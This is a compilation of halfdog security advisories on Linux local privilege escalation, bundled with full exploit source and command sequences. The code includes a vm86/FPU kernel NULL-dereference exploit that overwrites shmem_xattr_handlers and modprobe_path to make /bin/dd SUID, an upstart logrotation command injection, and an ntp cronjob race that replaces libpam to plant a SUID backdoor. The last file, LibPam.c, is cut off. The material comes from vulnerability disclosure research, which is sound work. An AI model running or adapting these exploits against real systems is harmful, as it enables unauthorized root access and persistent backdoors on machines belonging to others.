// .listxattr
// .removexattr
// .opendir
.readdir = io_readdir,
// .releasedir
// .fsyncdir
// .init
// .destroy
.access = io_access,
// .create
// .ftruncate
// .fgetattr
// .lock
// .utimens
// .bmap
.ioctl = io_ioctl,
// .poll
};
int main(int argc, char *argv[]) {
char buffer[128];
realFileHandle=open(realFileName, O_RDWR);
if(realFileHandle<0) {
fprintf(stderr, "Failed to open %s\n", realFileName);
exit(1);
}
snprintf(buffer, sizeof(buffer), "FuseMinimal-%d.log", getpid());
logFile=fopen(buffer, "a");
if(!logFile) {
fprintf(stderr, "Failed to open log: %s\n", (char*)strerror(errno));
return(1);
}
fprintf(logFile, "Starting fuse init\n");
fflush(logFile);
return fuse_main(argc, argv, &hello_oper, NULL);
}
--- EOF ---
--- UserNamespaceExec.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2015-2016 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* This tool creates a new namespace, initialize the uid/gid
* map and execute the program given as argument. This is similar
* to unshare(1) from newer util-linux packages.
*
* gcc -o UserNamespaceExec UserNamespaceExec.c
*
* Usage: UserNamespaceExec [options] -- [program] [args]
*
* * --NoSetGroups: do not disable group chanages
* * --NoSetGidMap:
* * --NoSetUidMap:
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>
extern char **environ;
static int childFunc(void *arg) {
int parentPid=getppid();
fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
while((geteuid()!=0)&&(parentPid==getppid())) {
sleep(1);
}
fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
int result=execve(((char**)arg)[0], (char**)arg, environ);
fprintf(stderr, "Exec failed\n");
return(1);
}
#define STACK_SIZE (1024 * 1024)
static char child_stack[STACK_SIZE];
int main(int argc, char *argv[]) {
int argPos;
int noSetGroupsFlag=0;
int setGidMapFlag=1;
int setUidMapFlag=1;
int result;
for(argPos=1; argPos<argc; argPos++) {
char *argName=argv[argPos];
if(!strcmp(argName, "--")) {
argPos++;
break;
}
if(strncmp(argName, "--", 2)) {
break;
}
if(!strcmp(argName, "--NoSetGidMap")) {
setGidMapFlag=0;
continue;
}
if(!strcmp(argName, "--NoSetGroups")) {
noSetGroupsFlag=1;
continue;
}
if(!strcmp(argName, "--NoSetUidMap")) {
setUidMapFlag=0;
continue;
}
fprintf(stderr, "%s: unknown argument %s\n", argv[0], argName);
exit(1);
}
// Create child; child commences execution in childFunc()
// CLONE_NEWNS: new mount namespace
// CLONE_NEWPID
// CLONE_NEWUTS
pid_t pid=clone(childFunc, child_stack+STACK_SIZE,
CLONE_NEWUSER|CLONE_NEWIPC|CLONE_NEWNET|CLONE_NEWNS|SIGCHLD, argv+argPos);
if(pid==-1) {
fprintf(stderr, "Clone failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
char idMapFileName[128];
char idMapData[128];
if(!noSetGroupsFlag) {
sprintf(idMapFileName, "/proc/%d/setgroups", pid);
int setGroupsFd=open(idMapFileName, O_WRONLY);
if(setGroupsFd<0) {
fprintf(stderr, "Failed to open setgroups\n");
return(1);
}
result=write(setGroupsFd, "deny", 4);
if(result<0) {
fprintf(stderr, "Failed to disable setgroups\n");
return(1);
}
close(setGroupsFd);
}
if(setUidMapFlag) {
sprintf(idMapFileName, "/proc/%d/uid_map", pid);
fprintf(stderr, "Setting uid map in %s\n", idMapFileName);
int uidMapFd=open(idMapFileName, O_WRONLY);
if(uidMapFd<0) {
fprintf(stderr, "Failed to open uid map\n");
return(1);
}
sprintf(idMapData, "0 %d 1\n", getuid());
result=write(uidMapFd, idMapData, strlen(idMapData));
if(result<0) {
fprintf(stderr, "UID map write failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
close(uidMapFd);
}
if(setGidMapFlag) {
sprintf(idMapFileName, "/proc/%d/gid_map", pid);
fprintf(stderr, "Setting gid map in %s\n", idMapFileName);
int gidMapFd=open(idMapFileName, O_WRONLY);
if(gidMapFd<0) {
fprintf(stderr, "Failed to open gid map\n");
return(1);
}
sprintf(idMapData, "0 %d 1\n", getgid());
result=write(gidMapFd, idMapData, strlen(idMapData));
if(result<0) {
if(noSetGroupsFlag) {
fprintf(stderr, "Expected failed GID map write due to enabled group set flag: %d (%s)\n", errno, strerror(errno));
} else {
fprintf(stderr, "GID map write failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
}
close(gidMapFd);
}
if(waitpid(pid, NULL, 0)==-1) {
fprintf(stderr, "Wait failed\n");
return(1);
}
return(0);
}
--- EOF ---
Source: http://www.halfdog.net/Security/2015/UpstartLogrotationPrivilegeEscalation/
## Introduction
Problem description: Ubuntu Vivid 1504 (development branch) installs an insecure upstart logrotation script which will read user-supplied data from /run/user/[uid]/upstart/sessions and pass then unsanitized to an env command. As user run directory is user-writable, the user may inject arbitrary commands into the logrotation script, which will be executed during daily cron job execution around midnight with root privileges.
## Methods
The vulnerability is very easy to trigger as the logrotation script /etc/cron.daily/upstart does not perform any kind of input sanitation:
#!/bin/sh
# For each Upstart Session Init, emit "rotate-logs" event, requesting
# the session Inits to rotate their logs. There is no user-daily cron.
#
# Doing it this way does not rely on System Upstart, nor
# upstart-event-bridge(8) running in the Session Init.
#
# Note that system-level Upstart logs are handled separately using a
# logrotate script.
[ -x /sbin/initctl ] || exit 0
for session in /run/user/*/upstart/sessions/*
do
env $(cat $session) /sbin/initctl emit rotate-logs >/dev/null 2>&1 || true
done
On a system with e.g. libpam-systemd installed, standard login on TTY or via SSH will create the directory /run/user/[uid] writable to the user. By preparing a suitable session file, user supplied code will be run during the daily cron-jobs. Example:
cat <<EOF > "${HOME}/esc"
#!/bin/sh
touch /esc-done
EOF
chmod 0755 "${HOME}/esc"
mkdir -p /run/user/[uid]/upstart/sessions
echo "- ${HOME}/esc" > /run/user/[uid]/upstart/sessions/x
Source: http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/
## Introduction
Problem description: The initial observation was, that the linux vm86 syscall, which allows to use the virtual-8086 mode from userspace for emulating of old 8086 software as done with dosemu, was prone to trigger FPU errors. Closer analysis showed, that in general, the handling of the FPU control register and unhandled FPU-exception could trigger CPU-exceptions at unexpected locations, also in ring-0 code. Key player is the emms instruction, which will fault when e.g. cr0 has bits set due to unhandled errors. This only affects kernels on some processor architectures, currently only AMD K7/K8 seems to be relevant.
## Methods
Virtual86SwitchToEmmsFault.c (http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/Virtual86SwitchToEmmsFault.c) was the first POC, that triggers kernel-panic via vm86 syscall. Depending on task layout and kernel scheduler timing, the program might just cause an OOPS without heavy side-effects on the system. OOPS might happen up to 1min after invocation, depending on the scheduler operation and which of the other tasks are using the FPU. Sometimes it causes recursive page faults, thus locking up the entire machine.
To allow reproducible tests on at least a local machine, the random code execution test tool (Virtual86RandomCode.c - http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/Virtual86RandomCode.c) might be useful. It still uses the vm86-syscall, but executes random code, thus causing the FPU and task schedule to trigger a multitude of faults and to faster lock-up the system. When executed via network, executed random data can be recorded and replayed even when target machine locks up completely. Network test:
socat TCP4-LISTEN:1234,reuseaddr=1,fork=1 EXEC:./Virtual86RandomCode,nofork=1
tee TestInput < /dev/urandom | socat - TCP4:x.x.x.x:1234 > ProcessedBlocks
An improved version allows to bring the FPU into the same state without using the vm86-syscall. The key instruction is fldcw (floating point unit load control word). When enabling exceptions in one process just before exit, the task switch of two other processes later on might fail. It seems that due to that failure, the task->nsproxy ends up being NULL, thus causing NULL-pointer dereference in exit_shm during do_exit.
When the NULL-page is mapped, the NULL-dereference could be used to fake a rw-semaphore data structure. In exit_shm, the kernel attemts to down_write the semaphore, which adds the value 0xffff0001 at a user-controllable location. Since the NULL-dereference does not allow arbitrary reads, the task memory layout is unknown, thus standard change of EUID of running task is not possible. Apart from that, we are in do_exit, so we would have to change another task. A suitable target is the shmem_xattr_handlers list, which is at an address known from System.map. Usually it contains two valid handlers and a NULL value to terminate the list. As we are lucky, the value after NULL is 1, thus adding 0xffff0001 to the position of the NULL-value plus 2 will will turn the NULL into 0x10000 (the first address above mmap_min_addr) and the following 1 value into NULL, thus terminating the handler list correctly again.
The code to perform those steps can be found in FpuStateTaskSwitchShmemXattrHandlersOverwriteWithNullPage.c (http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/FpuStateTaskSwitchShmemXattrHandlersOverwriteWithNullPage.c)
The modification of the shmem_xattr_handlers list is completely silent (could be a nice data-only backdoor) until someone performs a getxattr call on a mounted tempfs. Since such a file-system is mounted by default at /run/shm, another program can turn this into arbitrary ring-0 code execution. To avoid searching the process list to give EUID=0, an alternative approach was tested. When invoking the xattr-handlers, a single integer value write to another static address known from System.map (modprobe_path) will change the default modprobe userspace helper pathname from /sbin/modprobe to /tmp//modprobe. When unknown executable formats or network protocols are requested, the program /tmp//modprobe is executed as root, this demo just adds a script to turn /bin/dd into a SUID-binary. dd could then be used to modify libc to plant another backdoor there. The code to perform those steps can be found in ManipulatedXattrHandlerForPrivEscalation.c (http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/ManipulatedXattrHandlerForPrivEscalation.c).
--- Virtual86SwitchToEmmsFault.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2013 halfdog <me (%) halfdog.net>
*
* This progam maps memory pages to the low range above 64k to
* avoid conflicts with /proc/sys/vm/mmap_min_addr and then
* triggers the virtual-86 mode. Due to unhandled FPU errors,
* task switch will fail afterwards, kernel will attempt to
* kill other tasks when switching.
*
* gcc -o Virtual86SwitchToEmmsFault Virtual86SwitchToEmmsFault.c
*
* See http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/ for more information.
*/
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/vm86.h>
#include <unistd.h>
static const char *DEDICATION="To the most adorable person met so far.";
static void handleSignal(int value, siginfo_t *sigInfo, void *context) {
fprintf(stderr, "Handling signal\n");
}
void runTest(void *realMem) {
struct vm86plus_struct vm86struct;
int result;
memset(&vm86struct, 0, sizeof(vm86struct));
vm86struct.regs.eip=0x0;
vm86struct.regs.cs=0x1000;
// IF_MASK|IOPL_MASK
vm86struct.regs.eflags=0x3002;
vm86struct.regs.esp=0x400;
vm86struct.regs.ss=0x1000;
vm86struct.regs.ebp=vm86struct.regs.esp;
vm86struct.regs.ds=0x1000;
vm86struct.regs.fs=0x1000;
vm86struct.regs.gs=0x1000;
vm86struct.flags=0x0L;
vm86struct.screen_bitmap=0x0L;
vm86struct.cpu_type=0x0L;
alarm(1);
result=vm86(VM86_ENTER, &vm86struct);
if(result) {
fprintf(stderr, "vm86 failed, error %d (%s)\n", errno,
strerror(errno));
}
}
int main(int argc, char **argv) {
struct sigaction sigAction;
int realMemSize=1<<20;
void *realMem;
int result;
sigAction.sa_sigaction=handleSignal;
sigfillset(&sigAction.sa_mask);
sigAction.sa_flags=SA_SIGINFO;
sigAction.sa_restorer=NULL;
sigaction(SIGILL, &sigAction, NULL); // 4
sigaction(SIGFPE, &sigAction, NULL); // 8
sigaction(SIGSEGV, &sigAction, NULL); // 11
sigaction(SIGALRM, &sigAction, NULL); // 14
realMem=mmap((void*)0x10000, realMemSize, PROT_EXEC|PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if(realMem==(void*)-1) {
fprintf(stderr, "Failed to map real-mode memory space\n");
return(1);
}
memset(realMem, 0, realMemSize);
memcpy(realMem, "\xda\x44\x00\xd9\x2f\xae", 6);
runTest(realMem);
}
--- EOF ---
--- Virtual86RandomCode.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2013 halfdog <me (%) halfdog.net>
*
* This progam maps memory pages to the low range above 64k to
* avoid conflicts with /proc/sys/vm/mmap_min_addr and then
* triggers the virtual-86 mode.
*
* gcc -o Virtual86RandomCode Virtual86RandomCode.c
*
* Usage: ./Virtual86RandomCode < /dev/urandom > /dev/null
*
* See http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/ for more information.
*/
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/vm86.h>
#include <unistd.h>
static const char *DEDICATION="To the most adorable person met so far.";
static void handleSignal(int value, siginfo_t *sigInfo, void *context) {
fprintf(stderr, "Handling signal\n");
}
int readFully(int inputFd, void *data, int length) {
int readLength=0;
int result;
while(length) {
result=read(inputFd, data, length);
if(result<0) {
if(!readLength) readLength=result;
break;
}
readLength+=result;
length-=result;
data+=result;
}
return(readLength);
}
void runTest(void *realMem) {
struct vm86plus_struct vm86struct;
int result;
memset(&vm86struct, 0, sizeof(vm86struct));
vm86struct.regs.eip=0x0;
vm86struct.regs.cs=0x1000;
// IF_MASK|IOPL_MASK
vm86struct.regs.eflags=0x3002;
// Do not use stack above
vm86struct.regs.esp=0x400;
vm86struct.regs.ss=0x1000;
vm86struct.regs.ebp=vm86struct.regs.esp;
vm86struct.regs.ds=0x1000;
vm86struct.regs.fs=0x1000;
vm86struct.regs.gs=0x1000;
vm86struct.flags=0x0L;
vm86struct.screen_bitmap=0x0L;
vm86struct.cpu_type=0x0L;
alarm(1);
result=vm86(VM86_ENTER, &vm86struct);
if(result) {
fprintf(stderr, "vm86 failed, error %d (%s)\n", errno,
strerror(errno));
}
}
int main(int argc, char **argv) {
struct sigaction sigAction;
int realMemSize=1<<20;
void *realMem;
int randomFd=0;
int result;
sigAction.sa_sigaction=handleSignal;
sigfillset(&sigAction.sa_mask);
sigAction.sa_flags=SA_SIGINFO;
sigAction.sa_restorer=NULL;
sigaction(SIGILL, &sigAction, NULL); // 4
sigaction(SIGFPE, &sigAction, NULL); // 8
sigaction(SIGSEGV, &sigAction, NULL); // 11
sigaction(SIGALRM, &sigAction, NULL); // 14
realMem=mmap((void*)0x10000, realMemSize, PROT_EXEC|PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if(realMem==(void*)-1) {
fprintf(stderr, "Failed to map real-mode memory space\n");
return(1);
}
result=readFully(randomFd, realMem, realMemSize);
if(result!=realMemSize) {
fprintf(stderr, "Failed to read random data\n");
return(0);
}
write(1, &result, 4);
write(1, realMem, realMemSize);
while(1) {
runTest(realMem);
result=readFully(randomFd, realMem, 0x1000);
write(1, &result, 4);
write(1, realMem, result);
}
}
--- EOF ---
--- FpuStateTaskSwitchShmemXattrHandlersOverwriteWithNullPage.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2014 halfdog <me (%) halfdog.net>
*
* This progam maps a NULL page to exploit a kernel NULL-dereferences,
* Usually that will not work due to sane /proc/sys/vm/mmap_min_addr
* settings. An unhandled FPU error causes part of task switching
* to fail resulting in NULL-pointer dereference. This can be
* used to add 0xffff0001 to an arbitrary memory location, one
* of the entries in shmem_xattr_handlers is quite suited because
* it has a static address, which can be found in System.map.
* Another tool (ManipulatedXattrHandlerForPrivEscalation.c)
* could then be used to invoke the xattr handlers, thus giving
* local root privilege escalation.
*
* gcc -o FpuStateTaskSwitchShmemXattrHandlersOverwriteWithNullPage FpuStateTaskSwitchShmemXattrHandlersOverwriteWithNullPage.c
*
* See http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/ for more information.
*/
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <unistd.h>
static const char *DEDICATION="To the most adorable person met so far.";
int main(int argc, char **argv) {
int childPid;
int sockFds[2];
int localSocketFd;
int requestCount;
int result;
// Cleanup beforehand to avoid interference from previous run
asm volatile (
"emms;"
: // output (0)
:
:
);
childPid=fork();
if(childPid>0) {
mmap((void*)0, 1<<12, PROT_EXEC|PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
// down_write just adds 0xffff0001 at location offset +0x6c of
// the memory address given below. shmem_xattr_handlers handlers are
// at 0xc150ae1c and contain two valid handlers, terminated by
// a NULL value. As we are lucky, the value after NULL is 1, thus
// adding 0xffff0001 shmem_xattr_handlers + 0x6c + 0xa will turn
// the NULL into 0x10000 and the following 1 into NULL, hence
// the handler list is terminated correctly again.
*((int*)0x8)=0xc150adba;
result=socketpair(AF_UNIX, SOCK_STREAM, 0, sockFds);
result=fork();
close(sockFds[result?1:0]);
localSocketFd=sockFds[result?0:1];
asm volatile (
"emms;"
: // output (0)
:
:
);
fprintf(stderr, "Playing task switch ping-pong ...\n");
// This might be too short on faster CPUs?
for(requestCount=0x10000; requestCount; requestCount--) {
result=write(localSocketFd, sockFds, 4);
if(result!=4) break;
result=read(localSocketFd, sockFds, 4);
if(result!=4) break;
asm volatile (
"fldz;"
"fldz;"
"fdivp;"
: // output (0)
:
:
);
}
close(localSocketFd);
fprintf(stderr, "Switch loop terminated\n");
// Cleanup afterwards
asm volatile (
"emms;"
: // output (0)
:
:
);
return(0);
}
usleep(10000);
// Enable FPU exceptions
asm volatile (
"fdivp;"
"fstcw %0;"
"andl $0xffc0, %0;"
"fldcw %0;"
: "=m"(result) // output (0)
:
:"%eax" // Clobbered register
);
// Terminate immediately, this seems to improve results
return(0);
}
--- EOF ---
--- ManipulatedXattrHandlerForPrivEscalation.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2014 halfdog <me (%) halfdog.net>
*
* This progam prepares memory so that the manipulated shmem_xattr_handlers
* (see FpuStateTaskSwitchShmemXattrHandlersOverwriteWithNullPage.c)
* will be read from here, thus giving ring-0 code execution.
* To avoid fiddling with task structures, this will overwrite
* just 4 bytes of modprobe_path, which is used by the kernel
* when unknown binary formats or network protocols are requested.
* In the end, when executing an unknown binary format, the modified
* modprobe script will just turn "/bin/dd" to be SUID, e.g. to
* own libc later on.
*
* gcc -o ManipulatedXattrHandlerForPrivEscalation ManipulatedXattrHandlerForPrivEscalation.c
*
* See http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/ for more information.
*/
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
static const char *DEDICATION="To the most adorable person met so far.";
int main(int argc, char **argv) {
void *handlerPage;
int *handlerStruct;
void *handlerCode;
char *modprobeCommands="#!/bin/sh\nchmod u+s /bin/dd\n";
int result;
handlerStruct=(int*)0x10000;
handlerPage=mmap((void*)(((int)handlerStruct)&0xfffff000), 1<<12,
PROT_EXEC|PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
if(handlerPage==(void*)-1) {
fprintf(stderr, "Failed to map handler page\n");
return(1);
}
fprintf(stderr, "Handler page at %p\n", handlerPage);
*handlerStruct=(int)(handlerStruct+0x10); // Prefix pointer
strcpy((char*)(handlerStruct+0x10), "system"); // Prefix value
handlerCode=(void*)(handlerStruct+0x100);
*(handlerStruct+0x2)=(int)handlerCode; // list
*(handlerStruct+0x3)=(int)handlerCode; // get
*(handlerStruct+0x4)=(int)handlerCode; // set
// Switch the modprobe helper path from /sbin to /tmp. Address is
// known from kernel version's symbols file
memcpy(handlerCode, "\xb8\xa1\x2d\x50\xc1\xc7\x00tmp/\xc3", 12);
result=getxattr("/run/shm/", "system.dont-care", handlerPage, 1);
fprintf(stderr, "Setattr result: 0x%x, error %d (%s)\n", result,
errno, strerror(errno));
result=open("/tmp/modprobe", O_RDWR|O_CREAT, S_IRWXU|S_IRWXG|S_IRWXO);
write(result, modprobeCommands, strlen(modprobeCommands));
close(result);
// Create a pseudo-binary with just NULL bytes, executing it will
// trigger the binfmt module loading
result=open("/tmp/dummy", O_RDWR|O_CREAT, S_IRWXU|S_IRWXG|S_IRWXO);
memset(handlerPage, 0, 1<<12);
write(result, handlerPage, 1<<12);
close(result);
*(int*)handlerPage=(int)"/tmp/dummy";
execve("/tmp/dummy", handlerPage, NULL);
return(0);
}
--- EOF ---
Source: http://www.halfdog.net/Security/2015/NtpCronjobUserNtpToRootPrivilegeEscalation/
## Introduction
### Problem description:
The cronjob script bundled with ntp package is intended to perform cleanup on statistics files produced by NTP daemon running with statistics enabled. The script is run as root during the daily cronjobs all operations on the ntp-user controlled statistics directory without switching to user ntp. Thus all steps are performed with root permissions in place.
Due to multiple bugs in the script, a malicious ntp user can make the backup process to overwrite arbitrary files with content controlled by the attacker, thus gaining root privileges. The problematic parts in /etc/cron.daily/ntp are:
find "$statsdir" -type f -mtime +7 -exec rm {} \;
# compress whatever is left to save space
cd "$statsdir"
ls *stats.???????? > /dev/null 2>&1
if [ $? -eq 0 ]; then
# Note that gzip won't compress the file names that
# are hard links to the live/current files, so this
# compresses yesterday and previous, leaving the live
# log alone. We supress the warnings gzip issues
# about not compressing the linked file.
gzip --best --quiet *stats.????????
Relevant targets are:
- find and rm invocation is racy, symlinks on rm
- rm can be invoked with one attacker controlled option
- ls can be invoked with arbitrary number of attacker controlled command line options
- gzip can be invoked with arbitrary number of attacker controlled options
## Methods
### Exploitation Goal:
A sucessful attack should not be mitigated by symlink security restrictions. Thus the general POSIX/Linux design weakness of missing flags/syscalls for safe opening of path without the setfsuid workaround has to be targeted. See FilesystemRecursionAndSymlinks (http://www.halfdog.net/Security/2010/FilesystemRecursionAndSymlinks/) on that.
### Demonstration:
First step is to pass the ls check in the script to trigger gzip, which is more suitable to perform file system changes than ls for executing arbitrary code. As this requires passing command line options to gzip which are not valid for ls, content of statsdir has to be modified exactly in between. This can be easily accomplished by preparing suitable entries in /var/lib/ntp and starting one instance of DirModifyInotify.c (http://www.halfdog.net/Misc/Utils/DirModifyInotify.c) as user ntp:
cd /var/lib/ntp
mkdir astats.01234567 bstats.01234567
# Copy away library, we will have to restore it afterwards. Without
# that, login is disabled on console, via SSH, ...
cp -a -- /lib/x86_64-linux-gnu/libpam.so.0.83.1 .
gzip < /lib/x86_64-linux-gnu/libpam.so.0.83.1 > astats.01234567/libpam.so.0.83.1stats.01234567
./DirModifyInotify --Watch bstats.01234567 --WatchCount 5 --MovePath bstats.01234567 --MoveTarget -drfSstats.01234567 &
With just that in place, DirModifyInotify will react to the actions of ls, move the directory and thus trigger recursive decompression in gzip instead of plain compression. While gzip is running, the directory astats.01234567 has to replaced also to make it overwrite arbitrary files as user root. As gzip will attempt to restore uid/gid of compressed file to new uncompressed version, this will just change the ownership of PAM library to ntp user.
./DirModifyInotify --Watch astats.01234567 --WatchCount 12 --MovePath astats.01234567 --MoveTarget disabled --LinkTarget /lib/x86_64-linux-gnu/
After the daily cron jobs were run once, libpam.so.0.83.1 can be temporarily replaced, e.g. to create a SUID binary for escalation.
LibPam.c (http://www.halfdog.net/Security/2015/NtpCronjobUserNtpToRootPrivilegeEscalation/LibPam.c)
SuidExec.c (http://www.halfdog.net/Misc/Utils/SuidExec.c)
gcc -Wall -fPIC -c LibPam.c
ld -shared -Bdynamic LibPam.o -L/lib -lc -o libPam.so
cat libPam.so > /lib/x86_64-linux-gnu/libpam.so.0.83.1
gcc -o Backdoor SuidExec.c
/bin/su
# Back to normal
./Backdoor /bin/sh -c 'cp --preserve=mode,timestamps -- libpam.so.0.83.1 /lib/x86_64-linux-gnu/libpam.so.0.83.1; chown root.root /lib/x86_64-linux-gnu/libpam.so.0.83.1; exec /bin/sh'
--- DirModifyInotify.c ---
/** This program waits for notify of file/directory to replace
* given directory with symlink.
*
* Usage: DirModifyInotify --Watch [watchfile0] --WatchCount [num]
* --MovePath [path] --MoveTarget [path] --LinkTarget [path] --Verbose
*
* Parameters:
* * --MoveTarget: If set, move path to that target location before
* attempting to symlink.
* * --LinkTarget: If set, the MovePath is replaced with link to
* this path
*
* Compile:
* gcc -o DirModifyInotify DirModifyInotify.c
*
* Copyright (c) 2010-2016 halfdog <me (%) halfdog.net>
*
* This software is provided by the copyright owner "as is" to
* study it but without any expressed or implied warranties, that
* this software is fit for any other purpose. If you try to compile
* or run it, you do it solely on your own risk and the copyright
* owner shall not be liable for any direct or indirect damage
* caused by this software.
*/
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <unistd.h>
int main(int argc, char **argv) {
char *movePath=NULL;
char *newDirName=NULL;
char *symlinkTarget=NULL;
int argPos;
int handle;
int inotifyHandle;
int inotifyDataSize=sizeof(struct inotify_event)*16;
struct inotify_event *inotifyData;
int randomVal;
int callCount;
int targetCallCount=0;
int verboseFlag=0;
int result;
if(argc<4) return(1);
inotifyHandle=inotify_init();
for(argPos=1; argPos<argc; argPos++) {
if(!strcmp(argv[argPos], "--Verbose")) {
verboseFlag=1;
continue;
}
if(!strcmp(argv[argPos], "--LinkTarget")) {
argPos++;
if(argPos==argc) return(1);
symlinkTarget=argv[argPos];
continue;
}
if(!strcmp(argv[argPos], "--MovePath")) {
argPos++;
if(argPos==argc) return(1);
movePath=argv[argPos];
continue;
}
if(!strcmp(argv[argPos], "--MoveTarget")) {
argPos++;
if(argPos==argc) return(1);
newDirName=argv[argPos];
continue;
}
if(!strcmp(argv[argPos], "--Watch")) {
argPos++;
if(argPos==argc) return(1);
//IN_ALL_EVENTS, IN_CLOSE_WRITE|IN_CLOSE_NOWRITE, IN_OPEN|IN_ACCESS
result=inotify_add_watch(inotifyHandle, argv[argPos], IN_ALL_EVENTS);
if(result==-1) {
fprintf(stderr, "Failed to add watch path %s, error %d\n",
argv[argPos], errno);
return(1);
}
continue;
}
if(!strcmp(argv[argPos], "--WatchCount")) {
argPos++;
if(argPos==argc) return(1);
targetCallCount=atoi(argv[argPos]);
continue;
}
fprintf(stderr, "Unknown option %s\n", argv[argPos]);
return(1);
}
if(!movePath) {
fprintf(stderr, "No move path specified!\n" \
"Usage: DirModifyInotify.c --Watch [watchfile0] --MovePath [path]\n" \
" --LinkTarget [path]\n");
return(1);
}
fprintf(stderr, "Using target call count %d\n", targetCallCount);
// Init name of new directory if not already defined.
if(!newDirName) {
newDirName=(char*)malloc(strlen(movePath)+256);
sprintf(newDirName, "%s-moved", movePath);
}
inotifyData=(struct inotify_event*)malloc(inotifyDataSize);
for(callCount=0; ; callCount++) {
result=read(inotifyHandle, inotifyData, inotifyDataSize);
if(callCount==targetCallCount) {
rename(movePath, newDirName);
// rmdir(movePath);
if(symlinkTarget) symlink(symlinkTarget, movePath);
fprintf(stderr, "Move triggered at count %d\n", callCount);
break;
}
if(verboseFlag) {
fprintf(stderr, "Received notify %d, result %d, error %s\n",
callCount, result, (result<0?strerror(errno):NULL));
}
if(result<0) {
break;
}
}
return(0);
}
--- EOF ---
--- LibPam.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2015 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* This library just transforms an existing file into a SUID
* binary when the library is loaded.
*
* gcc -Wall -fPIC -c LibPam.c
* ld -shared -Bdynamic LibPam.o -L/lib -lc -o libPam.so
*/
#include <stdio.h>
#include <sys/stat.h>
